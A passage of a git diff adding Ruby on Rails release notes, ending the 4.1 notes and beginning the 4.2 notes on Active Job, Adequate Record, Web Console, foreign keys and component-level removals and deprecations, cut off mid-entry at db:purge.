+* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys,
+  ActiveRecord will now translate aliased attribute names to the actual column
+  name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+  object. Helper methods used by multiple fixtures should be defined on modules
+  included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))
+
+* Don't create or drop the test database if RAILS_ENV is specified
+  explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629))
+
+* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+  to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314))
+
+* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now
+  return an `Enumerator` that can calculate its
+  size. ([Pull Request](https://github.com/rails/rails/pull/13938))
+
+* `scope`, `enum` and Associations now raise on "dangerous" name
+  conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450),
+  [Pull Request](https://github.com/rails/rails/pull/13896))
+
+* `second` through `fifth` methods act like the `first`
+  finder. ([Pull Request](https://github.com/rails/rails/pull/13757))
+
+* Make `touch` fire the `after_commit` and `after_rollback`
+  callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031))
+
+* Enable partial indexes for `sqlite >= 3.8.0`.
+  ([Pull Request](https://github.com/rails/rails/pull/13350))
+
+* Make `change_column_null`
+  revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96))
+
+* Added a flag to disable schema dump after migration. This is set to `false`
+  by default in the production environment for new applications.
+  ([Pull Request](https://github.com/rails/rails/pull/13948))
+
+Active Model
+------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
+for detailed changes.
+
+### Deprecations
+
+* Deprecate `Validator#setup`. This should be done manually now in the
+  validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+
+### Notable changes
+
+* Added new API methods `reset_changes` and `changes_applied` to
+  `ActiveModel::Dirty` that control changes state.
+
+* Ability to specify multiple contexts when defining a
+  validation. ([Pull Request](https://github.com/rails/rails/pull/13754))
+
+* `attribute_changed?` now accepts a hash to check if the attribute was changed
+  `:from` and/or `:to` a given
+  value. ([Pull Request](https://github.com/rails/rails/pull/13131))
+
+
+Active Support
+--------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
+for detailed changes.
+
+
+### Removals
+
+* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode`
+  no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed support for the `encode_json` hook used for encoding custom objects into
+  JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Related Pull Request](https://github.com/rails/rails/pull/12183) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+
+* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+
+* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
+
+* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).
+
+* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
+  `Time#local_time` in favor of `Time#utc` and `Time#local`.
+
+* Removed deprecated `Hash#diff` with no replacement.
+
+* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+
+* Removed deprecated `Proc#bind` with no replacement.
+
+* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+  `Array#uniq` and `Array#uniq!` instead.
+
+* Removed deprecated `ActiveSupport::BasicObject`, use
+  `ActiveSupport::ProxyObject` instead.
+
+* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+
+* Removed deprecated `assert_present` and `assert_blank` methods, use `assert
+  object.blank?` and `assert object.present?` instead.
+
+* Remove deprecated `#filter` method for filter objects, use the corresponding
+  method instead (e.g. `#before` for a before filter).
+
+* Removed 'cow' => 'kine' irregular inflection from default
+  inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+
+### Deprecations
+
+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
+  explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+  ([Pull Request](https://github.com/rails/rails/pull/12389))
+
+* Deprecated the require path `active_support/core_ext/object/to_json`. Require
+  `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))
+
+* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature
+  has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Pull Request](https://github.com/rails/rails/pull/12785) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has
+  been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Pull Request](https://github.com/rails/rails/pull/13060) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecate custom `BigDecimal`
+  serialization. ([Pull Request](https://github.com/rails/rails/pull/13911))
+
+### Notable changes
+
+* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the
+  JSON gem rather than doing custom encoding in pure-Ruby.
+  ([Pull Request](https://github.com/rails/rails/pull/12183) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Improved compatibility with the JSON gem.
+  ([Pull Request](https://github.com/rails/rails/pull/12862) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
+  methods change current time to the given time or duration by stubbing
+  `Time.now` and `Date.today`.
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns
+  the current time to the original state, by removing the stubs added by `travel`
+  and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884))
+
+* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
+  them to JavaScript functions like
+  `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+
+* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
+  methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
+  `at_middle_of_day` as
+  aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+
+* Added `Date#all_week/month/quarter/year` for generating date
+  ranges. ([Pull Request](https://github.com/rails/rails/pull/9685))
+
+* Added `Time.zone.yesterday` and
+  `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822))
+
+* Added `String#remove(pattern)` as a short-hand for the common pattern of
+  `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+
+* Added `Hash#compact` and `Hash#compact!` for removing items with nil value
+  from hash. ([Pull Request](https://github.com/rails/rails/pull/13632))
+
+* `blank?` and `present?` commit to return
+  singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514))
+
+* Default the new `I18n.enforce_available_locales` config to `true`, meaning
+  `I18n` will make sure that all locales passed to it must be declared in the
+  `available_locales`
+  list. ([Pull Request](https://github.com/rails/rails/pull/13341))
+
+* Introduce `Module#concerning`: a natural, low-ceremony way to separate
+  responsibilities within a
+  class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))
+
+* Added `Object#presence_in` to simplify value whitelisting.
+  ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))
+
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md
new file mode 100644
index 0000000000..366d9d26b4
--- /dev/null
+++ b/guides/source/4_2_release_notes.md
@@ -0,0 +1,855 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 4.2 Release Notes
+===============================
+
+Highlights in Rails 4.2:
+
+* Active Job
+* Asynchronous mails
+* Adequate Record
+* Web Console
+* Foreign key support
+
+These release notes cover only the major changes. To learn about other
+features, bug fixes, and changes, please refer to the changelogs or check out
+the [list of commits](https://github.com/rails/rails/commits/4-2-stable) in
+the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.1 in case you
+haven't and make sure your application still runs as expected before attempting
+to upgrade to Rails 4.2. A list of things to watch out for when upgrading is
+available in the guide [Upgrading Ruby on
+Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2).
+
+
+Major Features
+--------------
+
+### Active Job
+
+Active Job is a new framework in Rails 4.2. It is a common interface on top of
+queuing systems like [Resque](https://github.com/resque/resque), [Delayed
+Job](https://github.com/collectiveidea/delayed_job),
+[Sidekiq](https://github.com/mperham/sidekiq), and more.
+
+Jobs written with the Active Job API run on any of the supported queues thanks
+to their respective adapters. Active Job comes pre-configured with an inline
+runner that executes jobs right away.
+
+Jobs often need to take Active Record objects as arguments. Active Job passes
+object references as URIs (uniform resource identifiers) instead of marshaling
+the object itself. The new [Global ID](https://github.com/rails/globalid)
+library builds URIs and looks up the objects they reference. Passing Active
+Record objects as job arguments just works by using Global ID internally.
+
+For example, if `trashable` is an Active Record object, then this job runs
+just fine with no serialization involved:
+
+```ruby
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+See the [Active Job Basics](active_job_basics.html) guide for more
+information.
+
+### Asynchronous Mails
+
+Building on top of Active Job, Action Mailer now comes with a `deliver_later`
+method that sends emails via the queue, so it doesn't block the controller or
+model if the queue is asynchronous (the default inline queue blocks).
+
+Sending emails right away is still possible with `deliver_now`.
+
+### Adequate Record
+
+Adequate Record is a set of performance improvements in Active Record that makes
+common `find` and `find_by` calls and some association queries up to 2x faster.
+
+It works by caching common SQL queries as prepared statements and reusing them
+on similar calls, skipping most of the query-generation work on subsequent
+calls. For more details, please refer to [Aaron Patterson's blog
+post](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html).
+
+Active Record will automatically take advantage of this feature on
+supported operations without any user involvement or code changes. Here are
+some examples of supported operations:
+
+```ruby
+Post.find(1)  # First call generates and cache the prepared statement
+Post.find(2)  # Subsequent calls reuse the cached prepared statement
+
+Post.find_by_title('first post')
+Post.find_by_title('second post')
+
+Post.find_by(title: 'first post')
+Post.find_by(title: 'second post')
+
+post.comments
+post.comments(true)
+```
+
+It's important to highlight that, as the examples above suggest, the prepared
+statements do not cache the values passed in the method calls; rather, they
+have placeholders for them.
+
+Caching is not used in the following scenarios:
+
+- The model has a default scope
+- The model uses single table inheritance
+- `find` with a list of ids, e.g.:
+
+  ```ruby
+  # not cached
+  Post.find(1, 2, 3)
+  Post.find([1,2])
+  ```
+
+- `find_by` with SQL fragments:
+
+  ```ruby
+  Post.find_by('published_at < ?', 2.weeks.ago)
+  ```
+
+### Web Console
+
+New applications generated with Rails 4.2 now come with the [Web
+Console](https://github.com/rails/web-console) gem by default. Web Console adds
+an interactive Ruby console on every error page and provides a `console` view
+and controller helpers.
+
+The interactive console on error pages lets you execute code in the context of
+the place where the exception originated. The `console` helper, if called
+anywhere in a view or controller, launches an interactive console with the final
+context, once rendering has completed.
+
+### Foreign Key Support
+
+The migration DSL now supports adding and removing foreign keys. They are dumped
+to `schema.rb` as well. At this time, only the `mysql`, `mysql2` and `postgresql`
+adapters support foreign keys.
+
+```ruby
+# add a foreign key to `articles.author_id` referencing `authors.id`
+add_foreign_key :articles, :authors
+
+# add a foreign key to `articles.author_id` referencing `users.lng_id`
+add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+
+# remove the foreign key on `accounts.branch_id`
+remove_foreign_key :accounts, :branches
+
+# remove the foreign key on `accounts.owner_id`
+remove_foreign_key :accounts, column: :owner_id
+```
+
+See the API documentation on
+[add_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key)
+and
+[remove_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key)
+for a full description.
+
+
+Incompatibilities
+-----------------
+
+Previously deprecated functionality has been removed. Please refer to the
+individual components for new deprecations in this release.
+
+The following changes may require immediate action upon upgrade.
+
+### `render` with a String Argument
+
+Previously, calling `render "foo/bar"` in a controller action was equivalent to
+`render file: "foo/bar"`. In Rails 4.2, this has been changed to mean
+`render template: "foo/bar"` instead. If you need to render a file, please
+change your code to use the explicit form (`render file: "foo/bar"`) instead.
+
+### `respond_with` / Class-Level `respond_to`
+
+`respond_with` and the corresponding class-level `respond_to` have been moved
+to the [responders](https://github.com/plataformatec/responders) gem. Add
+`gem 'responders', '~> 2.0'` to your Gemfile to use it:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+```
+
+Instance-level `respond_to` is unaffected:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+```
+
+### Default Host for `rails server`
+
+Due to a [change in Rack](https://github.com/rack/rack/commit/28b014484a8ac0bbb388e7eaeeef159598ec64fc),
+`rails server` now listens on `localhost` instead of `0.0.0.0` by default. This
+should have minimal impact on the standard development workflow as both
+http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before
+on your own machine.
+
+However, with this change you will no longer be able to access the Rails
+server from a different machine, for example if your development environment
+is in a virtual machine and you would like to access it from the host machine.
+In such cases, please start the server with `rails server -b 0.0.0.0` to
+restore the old behavior.
+
+If you do this, be sure to configure your firewall properly such that only
+trusted machines on your network can access your development server.
+
+### HTML Sanitizer
+
+The HTML sanitizer has been replaced with a new, more robust, implementation
+built upon [Loofah](https://github.com/flavorjones/loofah) and
+[Nokogiri](https://github.com/sparklemotion/nokogiri). The new sanitizer is
+more secure and its sanitization is more powerful and flexible.
+
+Due to the new algorithm, the sanitized output may be different for certain
+pathological inputs.
+
+If you have a particular need for the exact output of the old sanitizer, you
+can add the [rails-deprecated_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer)
+gem to the `Gemfile`, to have the old behavior. The gem does not issue
+deprecation warnings because it is opt-in.
+
+`rails-deprecated_sanitizer` will be supported for Rails 4.2 only; it will not
+be maintained for Rails 5.0.
+
+See [this blog post](http://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/)
+for more details on the changes in the new sanitizer.
+
+### `assert_select`
+
+`assert_select` is now based on [Nokogiri](https://github.com/sparklemotion/nokogiri).
+As a result, some previously-valid selectors are now unsupported. If your
+application is using any of these spellings, you will need to update them:
+
+*   Values in attribute selectors may need to be quoted if they contain
+    non-alphanumeric characters.
+
+    ```
+    # before
+    a[href=/]
+    a[href$=/]
+
+    # now
+    a[href="/"]
+    a[href$="/"]
+    ```
+
+*   DOMs built from HTML source containing invalid HTML with improperly
+    nested elements may differ.
+
+    For example:
+
+    ``` ruby
+    # content: <div><i><p></i></div>
+
+    # before:
+    assert_select('div > i')  # => true
+    assert_select('div > p')  # => false
+    assert_select('i > p')    # => true
+
+    # now:
+    assert_select('div > i')  # => true
+    assert_select('div > p')  # => true
+    assert_select('i > p')    # => false
+    ```
+
+*   If the data selected contains entities, the value selected for comparison
+    used to be raw (e.g. `AT&amp;T`), and now is evaluated
+    (e.g. `AT&T`).
+
+    ``` ruby
+    # content: <p>AT&amp;T</p>
+
+    # before:
+    assert_select('p', 'AT&amp;T')  # => true
+    assert_select('p', 'AT&T')      # => false
+
+    # now:
+    assert_select('p', 'AT&T')      # => true
+    assert_select('p', 'AT&amp;T')  # => false
+    ```
+
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   The `--skip-action-view` option has been removed from the
+    app generator. ([Pull Request](https://github.com/rails/rails/pull/17042))
+
+*   The `rails application` command has been removed without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/11616))
+
+### Deprecations
+
+*   Deprecated missing `config.log_level` for production environments.
+    ([Pull Request](https://github.com/rails/rails/pull/16622))
+
+*   Deprecated `rake test:all` in favor of `rake test` as it now run all tests
+    in the `test` folder.
+    ([Pull Request](https://github.com/rails/rails/pull/17348))
+
+*   Deprecated `rake test:all:db` in favor of `rake test:db`.
+    ([Pull Request](https://github.com/rails/rails/pull/17348))
+
+*   Deprecated `Rails::Rack::LogTailer` without replacement.
+    ([Commit](https://github.com/rails/rails/commit/84a13e019e93efaa8994b3f8303d635a7702dbce))
+
+### Notable changes
+
+*   Introduced `web-console` in the default application Gemfile.
+    ([Pull Request](https://github.com/rails/rails/pull/11667))
+
+*   Added a `required` option to the model generator for associations.
+    ([Pull Request](https://github.com/rails/rails/pull/16062))
+
+*   Introduced the `x` namespace for defining custom configuration options:
+
+    ```ruby
+    # config/environments/production.rb
+    config.x.payment_processing.schedule = :daily
+    config.x.payment_processing.retries  = 3
+    config.x.super_debugger              = true
+    ```
+
+    These options are then available through the configuration object:
+
+    ```ruby
+    Rails.configuration.x.payment_processing.schedule # => :daily
+    Rails.configuration.x.payment_processing.retries  # => 3
+    Rails.configuration.x.super_debugger              # => true
+    ```
+
+    ([Commit](https://github.com/rails/rails/commit/611849772dd66c2e4d005dcfe153f7ce79a8a7db))
+
+*   Introduced `Rails::Application.config_for` to load a configuration for the
+    current environment.
+
+    ```ruby
+    # config/exception_notification.yml:
+    production:
+      url: http://127.0.0.1:8080
+      namespace: my_app_production
+    development:
+      url: http://localhost:3001
+      namespace: my_app_development
+
+    # config/production.rb
+    Rails.application.configure do
+      config.middleware.use ExceptionNotifier, config_for(:exception_notification)
+    end
+    ```
+
+    ([Pull Request](https://github.com/rails/rails/pull/16129))
+
+*   Introduced a `--skip-turbolinks` option in the app generator to not generate
+    turbolinks integration.
+    ([Commit](https://github.com/rails/rails/commit/bf17c8a531bc8059d50ad731398002a3e7162a7d))
+
+*   Introduced a `bin/setup` script as a convention for automated setup code when
+    bootstrapping an application.
+    ([Pull Request](https://github.com/rails/rails/pull/15189))
+
+*   Changed the default value for `config.assets.digest` to `true` in development.
+    ([Pull Request](https://github.com/rails/rails/pull/15155))
+
+*   Introduced an API to register new extensions for `rake notes`.
+    ([Pull Request](https://github.com/rails/rails/pull/14379))
+
+*   Introduced an `after_bundle` callback for use in Rails templates.
+    ([Pull Request](https://github.com/rails/rails/pull/16359))
+
+*   Introduced `Rails.gem_version` as a convenience method to return
+    `Gem::Version.new(Rails.version)`.
+    ([Pull Request](https://github.com/rails/rails/pull/14101))
+
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   `respond_with` and the class-level `respond_to` have been removed from Rails and
+    moved to the `responders` gem (version 2.0). Add `gem 'responders', '~> 2.0'`
+    to your `Gemfile` to continue using these features.
+    ([Pull Request](https://github.com/rails/rails/pull/16526),
+     [More Details](http://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders))
+
+*   Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError`
+    in favor of `AbstractController::Helpers::MissingHelperError`.
+    ([Commit](https://github.com/rails/rails/commit/a1ddde15ae0d612ff2973de9cf768ed701b594e8))
+
+### Deprecations
+
+*   Deprecated the `only_path` option on `*_path` helpers.
+    ([Commit](https://github.com/rails/rails/commit/aa1fadd48fb40dd9396a383696134a259aa59db9))
+
+*   Deprecated `assert_tag`, `assert_no_tag`, `find_tag` and `find_all_tag` in
+    favor of `assert_select`.
+    ([Commit](https://github.com/rails/rails-dom-testing/commit/b12850bc5ff23ba4b599bf2770874dd4f11bf750))
+
+*   Deprecated support for setting the `:to` option of a router to a symbol or a
+    string that does not contain a "#" character:
+
+    ```ruby
+    get '/posts', to: MyRackApp    => (No change necessary)
+    get '/posts', to: 'post#index' => (No change necessary)
+    get '/posts', to: 'posts'      => get '/posts', controller: :posts
+    get '/posts', to: :index       => get '/posts', action: :index
+    ```
+
+    ([Commit](https://github.com/rails/rails/commit/cc26b6b7bccf0eea2e2c1a9ebdcc9d30ca7390d9))
+
+*   Deprecated support for string keys in URL helpers:
+
+    ```ruby
+    # bad
+    root_path('controller' => 'posts', 'action' => 'index')
+
+    # good
+    root_path(controller: 'posts', action: 'index')
+    ```
+
+    ([Pull Request](https://github.com/rails/rails/pull/17743))
+
+### Notable changes
+
+*   The `*_filter` family of methods have been removed from the documentation. Their
+    usage is discouraged in favor of the `*_action` family of methods:
+
+    ```
+    after_filter          => after_action
+    append_after_filter   => append_after_action
+    append_around_filter  => append_around_action
+    append_before_filter  => append_before_action
+    around_filter         => around_action
+    before_filter         => before_action
+    prepend_after_filter  => prepend_after_action
+    prepend_around_filter => prepend_around_action
+    prepend_before_filter => prepend_before_action
+    skip_after_filter     => skip_after_action
+    skip_around_filter    => skip_around_action
+    skip_before_filter    => skip_before_action
+    skip_filter           => skip_action_callback
+    ```
+
+    If your application currently depends on these methods, you should use the
+    replacement `*_action` methods instead. These methods will be deprecated in
+    the future and will eventually be removed from Rails.
+
+    (Commit [1](https://github.com/rails/rails/commit/6c5f43bab8206747a8591435b2aa0ff7051ad3de),
+    [2](https://github.com/rails/rails/commit/489a8f2a44dc9cea09154ee1ee2557d1f037c7d4))
+
+*   `render nothing: true` or rendering a `nil` body no longer add a single
+    space padding to the response body.
+    ([Pull Request](https://github.com/rails/rails/pull/14883))
+
+*   Rails now automatically includes the template's digest in ETags.
+    ([Pull Request](https://github.com/rails/rails/pull/16527))
+
+*   Segments that are passed into URL helpers are now automatically escaped.
+    ([Commit](https://github.com/rails/rails/commit/5460591f0226a9d248b7b4f89186bd5553e7768f))
+
+*   Introduced the `always_permitted_parameters` option to configure which
+    parameters are permitted globally. The default value of this configuration
+    is `['controller', 'action']`.
+    ([Pull Request](https://github.com/rails/rails/pull/15933))
+
+*   Added the HTTP method `MKCALENDAR` from [RFC 4791](https://tools.ietf.org/html/rfc4791).
+    ([Pull Request](https://github.com/rails/rails/pull/15121))
+
+*   `*_fragment.action_controller` notifications now include the controller
+    and action name in the payload.
+    ([Pull Request](https://github.com/rails/rails/pull/14137))
+
+*   Improved the Routing Error page with fuzzy matching for route search.
+    ([Pull Request](https://github.com/rails/rails/pull/14619))
+
+*   Added an option to disable logging of CSRF failures.
+    ([Pull Request](https://github.com/rails/rails/pull/14280))
+
+*   When the Rails server is set to serve static assets, gzip assets will now be
+    served if the client supports it and a pre-generated gzip file (`.gz`) is on disk.
+    By default the asset pipeline generates `.gz` files for all compressible assets.
+    Serving gzip files minimizes data transfer and speeds up asset requests. Always
+    [use a CDN](http://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are
+    serving assets from your Rails server in production.
+    ([Pull Request](https://github.com/rails/rails/pull/16466))
+
+*   When calling the `process` helpers in an integration test the path needs to have
+    a leading slash. Previously you could omit it but that was a byproduct of the
+    implementation and not an intentional feature, e.g.:
+
+    ```ruby
+    test "list all posts" do
+      get "/posts"
+      assert_response :success
+    end
+    ```
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Deprecations
+
+*   Deprecated `AbstractController::Base.parent_prefixes`.
+    Override `AbstractController::Base.local_prefixes` when you want to change
+    where to find views.
+    ([Pull Request](https://github.com/rails/rails/pull/15026))
+
+*   Deprecated `ActionView::Digestor#digest(name, format, finder, options = {})`.
+    Arguments should be passed as a hash instead.
+    ([Pull Request](https://github.com/rails/rails/pull/14243))
+
+### Notable changes
+
+*   `render "foo/bar"` now expands to `render template: "foo/bar"` instead of
+    `render file: "foo/bar"`.
+    ([Pull Request](https://github.com/rails/rails/pull/16888))
+
+*   The form helpers no longer generate a `<div>` element with inline CSS around
+    the hidden fields.
+    ([Pull Request](https://github.com/rails/rails/pull/14738))
+
+*   Introduced a `#{partial_name}_iteration` special local variable for use with
+    partials that are rendered with a collection. It provides access to the
+    current state of the iteration via the `index`, `size`, `first?` and
+    `last?` methods.
+    ([Pull Request](https://github.com/rails/rails/pull/7698))
+
+*   Placeholder I18n follows the same convention as `label` I18n.
+    ([Pull Request](https://github.com/rails/rails/pull/16438))
+
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Deprecations
+
+*   Deprecated `*_path` helpers in mailers. Always use `*_url` helpers instead.
+    ([Pull Request](https://github.com/rails/rails/pull/15840))
+
+*   Deprecated `deliver` / `deliver!` in favor of `deliver_now` / `deliver_now!`.
+    ([Pull Request](https://github.com/rails/rails/pull/16582))
+
+### Notable changes
+
+*   `link_to` and `url_for` generate absolute URLs by default in templates,
+    it is no longer needed to pass `only_path: false`.
+    ([Commit](https://github.com/rails/rails/commit/9685080a7677abfa5d288a81c3e078368c6bb67c))
+
+*   Introduced `deliver_later` which enqueues a job on the application's queue
+    to deliver emails asynchronously.
+    ([Pull Request](https://github.com/rails/rails/pull/16485))
+
+*   Added the `show_previews` configuration option for enabling mailer previews
+    outside of the development environment.
+    ([Pull Request](https://github.com/rails/rails/pull/15970))
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Removed `cache_attributes` and friends. All attributes are cached.
+    ([Pull Request](https://github.com/rails/rails/pull/15429))
+
+*   Removed deprecated method `ActiveRecord::Base.quoted_locking_column`.
+    ([Pull Request](https://github.com/rails/rails/pull/15612))
+
+*   Removed deprecated `ActiveRecord::Migrator.proper_table_name`. Use the
+    `proper_table_name` instance method on `ActiveRecord::Migration` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/15512))
+
+*   Removed unused `:timestamp` type. Transparently alias it to `:datetime`
+    in all cases. Fixes inconsistencies when column types are sent outside of
+    Active Record, such as for XML serialization.
+    ([Pull Request](https://github.com/rails/rails/pull/15184))
+
+### Deprecations
+
+*   Deprecated swallowing of errors inside `after_commit` and `after_rollback`.
+    ([Pull Request](https://github.com/rails/rails/pull/16537))
+
+*   Deprecated broken support for automatic detection of counter caches on
+    `has_many :through` associations. You should instead manually specify the
+    counter cache on the `has_many` and `belongs_to` associations for the
+    through records.
+    ([Pull Request](https://github.com/rails/rails/pull/15754))
+
+*   Deprecated passing Active Record objects to `.find` or `.exists?`. Call
+    `id` on the objects first.
+    (Commit [1](https://github.com/rails/rails/commit/d92ae6ccca3bcfd73546d612efaea011270bd270),
+    [2](https://github.com/rails/rails/commit/d35f0033c7dec2b8d8b52058fb8db495d49596f7))
+
+*   Deprecated half-baked support for PostgreSQL range values with excluding
+    beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion
+    is not fully possible because Ruby ranges do not support excluded beginnings.
+
+    The current solution of incrementing the beginning is not correct
+    and is now deprecated. For subtypes where we don't know how to increment
+    (e.g. `succ` is not defined) it will raise an `ArgumentError` for ranges
+    with excluding beginnings.
+    ([Commit](https://github.com/rails/rails/commit/91949e48cf41af9f3e4ffba3e5eecf9b0a08bfc3))
+
+*   Deprecated calling `DatabaseTasks.load_schema` without a connection. Use
+    `DatabaseTasks.load_schema_current` instead.
+    ([Commit](https://github.com/rails/rails/commit/f15cef67f75e4b52fd45655d7c6ab6b35623c608))
+
+*   Deprecated `sanitize_sql_hash_for_conditions` without replacement. Using a
+    `Relation` for performing queries and updates is the preferred API.
+    ([Commit](https://github.com/rails/rails/commit/d5902c9e))
+
+*   Deprecated `add_timestamps` and `t.timestamps` without passing the `:null`
+    option. The default of `null: true` will change in Rails 5 to `null: false`.
+    ([Pull Request](https://github.com/rails/rails/pull/16481))
+
+*   Deprecated `Reflection#source_macro` without replacement as it is no longer
+    needed in Active Record.
+    ([Pull Request](https://github.com/rails/rails/pull/16373))
+
+*   Deprecated `serialized_attributes` without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/15704))
+
+*   Deprecated returning `nil` from `column_for_attribute` when no column
+    exists. It will return a null object in Rails 5.0.
+    ([Pull Request](https://github.com/rails/rails/pull/15878))
+
+*   Deprecated using `.joins`, `.preload` and `.eager_load` with associations
+    that depend on the instance state (i.e. those defined with a scope that
+    takes an argument) without replacement.
+    ([Commit](https://github.com/rails/rails/commit/ed56e596a0467390011bc9d56d462539776adac1))
+
+### Notable changes
+
+*   `SchemaDumper` uses `force: :cascade` on `create_table`. This makes it
+    possible to reload a schema when foreign keys are in place.
+
+*   Added a `:required` option to singular associations, which defines a
+    presence validation on the association.
+    ([Pull Request](https://github.com/rails/rails/pull/16056))
+
+*   `ActiveRecord::Dirty` now detects in-place changes to mutable values.
+    Serialized attributes on Active Record models are no longer saved when
+    unchanged. This also works with other types such as string columns and json
+    columns on PostgreSQL.
+    (Pull Requests [1](https://github.com/rails/rails/pull/15674),
+    [2](https://github.com/rails/rails/pull/15786),
+    [3](https://github.com/rails/rails/pull/15788))
+
+*   Introduced the `db:purge` Rake task to empty the database for the
